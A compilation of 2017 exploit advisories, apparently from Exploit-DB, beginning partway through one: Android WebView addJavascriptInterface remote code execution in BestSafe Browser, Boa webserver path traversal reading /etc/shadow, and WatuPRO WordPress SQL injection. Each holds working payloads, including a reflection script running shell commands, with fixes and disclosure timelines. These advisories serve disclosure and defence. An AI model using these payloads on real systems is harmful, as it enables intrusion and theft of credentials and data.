https://labs.mwrinfosecurity.com/advisories/webview-addjavascriptinterface-remote-code-execution/
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614
Filename: Australian Education App_vv6.apk
File size: 16,409,964 Bytes
md5: 86b4fab4328a2c4e54db6f1d378b7bb9
sha1: 9786bb89fcfff756d10588bf9a3a9c7439dcc74e
sha256: 2420a3067ba1b120b09ea8737fe8c822b6fea7dd7d860abb84a41611a1f0f7ed
App Name: Australian Education App
Package Name: a1.bestsafebrowser2.com
Package Version: v6
:)
=== EOF ===
Video demo:
https://www.youtube.com/watch?v=_DCz0OqJzBI
FULL POC Archive:
https://mega.nz/#!NOp20DZB!mogOpSCFltdEvAVwshgZV-IPvU1ucNvud68DBDCHRD0
The following is the timeline:
29 June 2017 - Vendor is notified.
29 June 2017 - Vendor pulls apps from app store and files privacy and trademark complaints with YouTube. Vendor does not intend to fix vulnerabilities.
30 June 2017 - All disclosure websites notified, including Exploit-DB.
# Exploit Title: BestSafe Browser FREE NoAds - Remote Code Execution
# Date: 30/Jun/17
# Exploit Author: MaXe
# Vendor Homepage: https://play.google.com/store/apps/details?id=a1.bestsafebrowser.com
# Software Link: See APK archive websites
# Screenshot: Refer to https://www.youtube.com/watch?v=VXNVzjsH0As
# Version: v3
# Tested on: Android 4.1.0 (Google APIs) - API Level 16 - x86
# CVE : N/A
BestSafe Browser FREE NoAds - Remote Code Execution (No MITM Required!)
Version affected: v3
App Info: The Android application reviewed, according to the developer, is "secure" and is built for a better Google experience, and is essential for those who wish to protect their right to privacy.
External Links:
https://play.google.com/store/apps/details?id=a1.bestsafebrowser.com
http://www.appsalesandsupport.com
Credits: MaXe (@InterN0T)
Special Thanks: no1special
Shouts: SubHacker and the rest of the awesome infosec community.
-:: The Advisory ::-
The Android application is vulnerable to Remote Code Execution attacks. This is caused by the following lines of code within the
\a1\bestsafebrowser\com\main.java file: (Lines 380 - 387)
public static String _activity_create(boolean z) throws Exception {
mostCurrent._activity.RemoveAllViews();
Common.ProgressDialogShow(mostCurrent.activityBA, "Attempting to access the Internet");
Phone phone = new Phone();
main a1_bestsafebrowser_com_main = mostCurrent;
_googleurl = "http://www.comparison.net.au";
mostCurrent._activity.LoadLayout("Start", mostCurrent.activityBA);
ActivityWrapper activityWrapper = mostCurrent._activity;
and
Lines 634 - 641:
public static String _tr_tick() throws Exception {
...
webViewExtras = mostCurrent._webviewextras1;
WebViewExtras.clearCache((WebView) mostCurrent._webview1.getObject(), true);
webViewExtras = mostCurrent._webviewextras1;
WebViewExtras.addJavascriptInterface(mostCurrent.activityBA, (WebView) mostCurrent._webview1.getObject(), "MyEventName");
WebViewWrapper webViewWrapper = mostCurrent._webview1;
main a1_bestsafebrowser_com_main2 = mostCurrent;
webViewWrapper.Loadproton-Url(_googleurl);
str = "";
In addition to the above, the following App configuration also aids in the exploitability of this issue: (File: AndroidManifest.xml, Line: 3)
<uses-sdk android:minSdkVersion="5" android:targetSdkVersion="14" />
If an attacker registers the domain "comparison.net.au" (it is currently NOT registered) and creates a DNS record for "www.comparison.net.au" then the attacker has full control over anyone who installs and runs this app. This vulnerability can be used to execute arbitrary Java code in the context of the application. The ".net.au" TLD requires slightly more validation during registration, in terms of a valid ABN, ACN or Trademark number. However, as this type of validation is fully automated and this type of information is public, an attacker can easily obtain another entity's ABN, ACN or Trademark number and use that to register a domain.
In addition to the above, in case someone has registered "comparison.net.au", then if an attacker performs a MITM attack against "www.comparison.net.au" by e.g. hijacking the domain name, DNS, IP prefix, or by serving a malicious wireless access point (or hijacking a legitimate one), or by hacking the server at "www.comparison.net.au", then the attacker can also abuse this vulnerability.
The root cause of this vulnerability is caused by addJavascriptInterface() within the WebViewer, which in older API versions can be used to execute arbitrary Java code by using reflection to access public methods with attacker provided JavaScript.
-:: Proof of Concept ::-
A successful attack that makes "www.comparison.net.au" serve the following code:
<script>
function execute(cmd){
return MyEventName.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh', '-c', 'echo InterN0T was here > /data/data/a1.bestsafebrowser.com/owned']);
execute(['/system/bin/sh', '-c', 'am start -a android.intent.action.VIEW -d "http://attacker-domain.tld/video.mp4"']);
</script>
This application has been owned.
Will make the Android application create a new file in the App directory named: owned, and also play a video chosen by the attacker as an example.
Instead of creating a new file, the attacker can also use the "drozer" payload for example. Refer to the references further below.
-:: Solution ::-
The Android app code should not use the addJavaScriptInterface() function. Instead the following code should be used:
WebView webView = new WebView(this);
setContentView(webView);
...
Alternatively, the application manifest should specify API levels JELLY_BEAN_MR1 and above as follows:
<manifest>
<uses-sdk android:minSdkVersion="17" />
...
</manifest>
The URL used ("http://www.comparison.net.au") should ALSO use HTTPS (and verify the hostname and certificate properly).
Last but not least, the following code can also be used to determine whether the addJavascriptInterface should be enabled or not:
private void exposeJsInterface() {
if (VERSION.SDK_INT < 17) {
Log.i(TAG, "addJavascriptInterface() bridge disabled.");
} else {
addJavascriptInterface(Object, "EVENT_NAME_HERE");
}
}
References:
http://50.56.33.56/blog/?p=314
https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String)
https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/
https://labs.mwrinfosecurity.com/advisories/webview-addjavascriptinterface-remote-code-execution/
https://www.securecoding.cert.org/confluence/pages/viewpage.action?pageId=129859614
Filename: BestSafe Browser FREE NoAds_vv3.apk
File size: 10,593,599 Bytes
md5: db5cef1b11df38ba7a560d147e6be3e6
sha1: dd08b1c8af4e8fb4b62c32aed3cb3544042774d6
sha256: bcf7d43f060d7e50d02a1f38abf6308961c7fd0aa0bac718e01c2ead28d7ea1d
App Name: BestSafe Browser FREE NoAds
Package Name: a1.bestsafebrowser.com
Package Version: v3
:)
=== EOF ===
Video demo:
https://www.youtube.com/watch?v=VXNVzjsH0As
FULL POC Archive:
https://mega.nz/#!saRkTCxD!p42DYndcH95iFViaLCmtUvt9Xwbtm1x9MiND--Xng38
The following is the timeline:
29 June 2017 - Vendor is notified.
29 June 2017 - Vendor pulls apps from app store and files privacy and trademark complaints with YouTube. Vendor does not intend to fix vulnerabilities.
30 June 2017 - All disclosure websites notified, including Exploit-DB.
BOA Web Server 0.94.14 - Access to arbitrary files as privileges
Title: Vulnerability in BOA Webserver 0.94.14
Date: 20-06-2017
Status: Vendor contacted, patch available
Scope: Arbitrary file access
Platforms: Unix
Author: Miguel Mendez Z
Vendor Homepage: http://www.boa.org
Version: Boa Webserver 0.94.14rc21
CVE: CVE-2017-9833
Vulnerability description
-------------------------
-We can read any file located on the server
The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges. Without using access credentials
Vulnerable variable:
FILECAMERA=../../etc/shadow%00
Exploit link:
/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0
Poc:
http://127.0.0.1/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0
#####################################
Exploit Title: SQL Injection In WatuPRO (WordPress Plugin to Create Exams, Tests and Quizzes)
Exploit Author: Manich Koomsusi
Date: 03-07-2017
Software: WatuPRO
Version: 5.5.1
Website: http://calendarscripts.info/watupro/
Tested on: WordPress 4.7.5
Software Link: https://1drv.ms/u/s!AhfkvGaDTn1bmgHSj9u_jQX8iME0
CVE: CVE-2017-9834
#####################################
Description
==================================
SQL Injection in WatuPRO WordPress Plugin for create exams, Tests and Quizzes allow the attacker dump the database contents.
Vulnerability
==================================
This plugin sending quizzes to the server with “watupro_questions” parameter not sanitize before take SQL statement.
Proof of concept
==================================
Take exams or quizzes and submit to the server in POST method
Payload : “1:1,2) AND 4761=IF((41=41),SLEEP(5),4761) AND (4547=4547” the server delay response time around ~5 second.
Payload : “1:1,2) AND 4761=IF((41=41),SLEEP(0),4761) AND (4547=4547” the server not delay response time.
############
POST /pt/wordpress/wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 292
Accept-Language: en-US,en;q=0.5
Host: 192.168.5.189
Accept: text/plain, */*; q=0.01
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
DNT: 1
Connection: close
X-Requested-With: XMLHttpRequest
Referer: http://192.168.5.189/pt/wordpress/
Cookie: wordpress_155e4542aeb2c66021dab6903e684bdb=admin%7C1497811093%7CaY85tN6gH7x8iYCzPETIcEJYYyn6tZlzJnbhTZLgZYX%7C475cf68a551a0db99cd991e958fc949bfe8f2a833bf39d0534ce25d29c11a9b8; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_155e4542aeb2c66021dab6903e684bdb=admin%7C1497811093%7CaY85tN6gH7x8iYCzPETIcEJYYyn6tZlzJnbhTZLgZYX%7C61ef1ea8c998118da9dd01d5f650dc0806f8bfbb1d5f28fdbb626f062bcebbcd; wp-settings-time-1=1497748191; PHPSESSID=rh7v9qt9ibdlioth3cecr5gg94
Content-Type: application/x-www-form-urlencoded
action=watupro_submit&quiz_id=1&question_id%5B%5D=1&watupro_questions=1:1,2)%20AND%204761%3dIF((41%3d41),SLEEP(5),4761)%20AND%20(4547%3d4547&post_id=5&answer-1%5B%5D=1&question_1_hints=&taker_email=hacker%40admin.com<http://40admin.com>&h_app_id=0.24749700+1497748201&start_time=2017-06-18+01%3A10%3A01&in_ajax=1
#############
Mitigations
==================================
Upgrade to version 5.5.3.7 or later.
Timeline
==================================
2017-06-19: Discovered the bug
2017-06-19: Reported to vendor
2017-06-19: First response from vendor saying software it fixed. But the vendor fix not properly
2017-06-20: Version 5.5.3.7 released “Fixed issue with input validate.”
2017-07-03: Advisory published
Discovered By:
=====================
Manich Koomsusi